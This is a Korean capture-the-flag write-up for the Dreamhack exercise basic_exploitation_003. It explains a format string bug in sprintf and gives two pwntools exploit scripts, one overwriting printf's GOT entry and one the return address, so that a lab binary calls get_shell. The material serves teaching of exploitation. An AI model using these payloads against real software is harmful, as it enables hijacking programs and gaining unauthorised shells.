본 문제는 Dreamhack을 통해서 풀어 보실 수 있습니다.

해답을 이해하며 생각을 해보면서 풀이 해보시길 바랍니다.

문제 내용

문제는 dreamhack.io를 들어가시면 확인할 수 있습니다.

Format String Bug 커리큘럼이다. 포맷 스트링은 필요로 하는 인자의 개수와 함수에 전달된 인자의 개수를 비교하는 루틴이 없기에 악의적으로 다수의 인자를 요청하여 레지스터나 스택의 값을 읽어낼 수 있다.

또한, 다양한 형식지정자를 활용하여 원하는 위치의 스택 값을 읽거나, 스택에 임의 값을 쓰는 것도 가능하다.

이전 문제와 다르게 Reference가 RAO로 되어 있다.

문제 풀이

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();

    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);
    return 0;
}
void get_shell() {
    system("/bin/sh");
}
  • 친절하게 system("/bin/sh");를 부를 수 있는 함수가 선언되어 있다.
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();

read(0, heap_buf, 0x80);
  • read 함수는 *heap_buf에 대한 크기에 대해서 read하기에 BOF가 불가능하다.
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
  • sprintf()의 일반 형태가 아니다. 따라서 FSB가 발생한다.

  • FSB 이후의 함수가 호출되므로 printf가 GOT overwrite가 가능하다.

  • 그리고, RAO라 했으므로 Return Address를 get_shell로 바꿀 수 있을 것으로 예상된다.

첫번째 시나리오

  • sprintf(stack_buf, heap_buf);를 통한 입력값 위치 확인

  • 해당 위치를 통한 get_shell() 주소 삽입

  • 주소 삽입은 형식 지정자를 통해서 진행

위처럼 AAAA.%x.%x.%x.%x.%x를 입력 했을 때이렇게 첫번째 %x 서식 문자에 우리가 입력한 AAAA를 인자로 받는 것을 알 수 있다.

포맷 스트링에서 참조할 인자의 인덱스를 지정하는 방법으로는 필드의 끝을 $로 표기하는 것이다. printf()로 특정 주소의 값을 변경할 수 있는 format은 %n으로 인자에 현재까지 사용된 문자열의 길이를 저장하는 것이 있다.

payload = printf 주소 + get_shell 주소

그렇다면, get_shell의 주소만큼의 문자열을 넣어 해당 값을 %n를 통해서 exit_got에 넣으면 된다.

pwndbg> p get_shell
$1 = {<text variable, no debug info>} 0x8048669 <get_shell>
   0x080486df <+99>:    call   0x8048460 <printf@plt>
pwndbg> x/3i 0x8048460
   0x8048460 <printf@plt>:      jmp    DWORD PTR ds:0x804a010
   0x8048466 <printf@plt+6>:    push   0x8
   0x804846b <printf@plt+11>:   jmp    0x8048440

이번에는 전 문제와 다르게 상위 2byte는 같기에 하위 1byte만 변경하는 시나리오로 진행하겠습니다.

p32(e.got['printf']) + p32(e.got['printf'] + 1) + b'%97c%1$hhn%29c%2$hhn'
  • %97c : e.got[‘printf’] Little Endian 첫 1byte를 get_shell의 네번째 byte 값, 0x69 - 앞 두 인자 8byte = 97

  • %29c : e.got[‘printf’] Little Endian 두번째 1byte를 get_shell의 세번째 byte 값, 0x86 - 앞 인자 총 값 69byte = 29(10진수)

  • %n : %97c, %29c 제알 앞단에 사용한 exit_got(4byte)를 뺀 만큼의 문자열 길이를 참조 값에 저장

  • 1$, 2$ : printf("ECHO : %s\n", stack_buf)는 첫번째의 인자의 값을 가져오기에 1$로 첫번째 인자를 참조하겠다, 이후 두 개의 인자를 사용 시 두번째를 인자를 참조하겠다 명시

from pwn import *

p = process('./basic_exploitation_003')
e = ELF('./basic_exploitation_003')

printf_got = e.got['printf']
get_shell = e.symbols['get_shell']

payload = p32(printf_got) + p32(printf_got + 1)
payload += b'%97c%1$hhn'
payload += b'%29c%2$hhn'

p.sendline(payload)
p.interactive()

두번째 시나리오

RAO라는 힌트를 줬으므로, RET를 변경하고자 한다.

  • sprintf(stack_buf, heap_buf);를 통한 입력값 위치 확인

  • stack_buf, heap_buf의 위치 파악

  • RET까지의 주소 계산

char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();

read(0, heap_buf, 0x80);

해당 코드를 disassemble 하여 위치를 파악한다.

0x08048680 <+4>:     sub    esp,0x94
0x08048686 <+10>:    push   0x80
0x080486af <+51>:    push   0x80
0x080486b4 <+56>:    push   DWORD PTR [ebp-0x8]
0x080486b7 <+59>:    push   0x0 
0x080486b9 <+61>:    call   0x8048450 <read@plt> #Break Point

[ebp-0x8]에 저장된 값을 보면 입력 값이 저장되는 것이 아닌 heap_buf의 주소를 참조하고, 해당 주소를 들어가면 입력 값이 저장되어 있는 것을 알 수 있다.

0x080486d3 <+87>:    lea    eax,[ebp-0x98]
0x080486d9 <+93>:    push   eax
0x080486da <+94>:    push   0x8048791
0x080486df <+99>:    call   0x8048460 <printf@plt>

0x08048680 <+4>: sub esp,0x94 분명 0x94를 할당했지만,sprintf를 통해서 stack_buf의 위치가 [ebp-0x98]에 위치하는 것을 알 수 있다.

그렇다면 우리가 입력한 값이 [ebp-0x98]에 저장되므로, RET까지 얼만큼의 위치를 가지고 있는지 알아야한다.

스택의 상황을 그림으로 그려보면 위와 같다.

즉, stack_buf부터 RET까지는 총 156byte의 더미가 쌓이게 된다.

from pwn import *

context.log_level = 'debug'

p = process('./basic_exploitation_003')
e = ELF('./basic_exploitation_003')

get_shell = e.symbols['get_shell']

payload = b'%156c' + p32(get_shell)

p.send(payload)
p.interactive()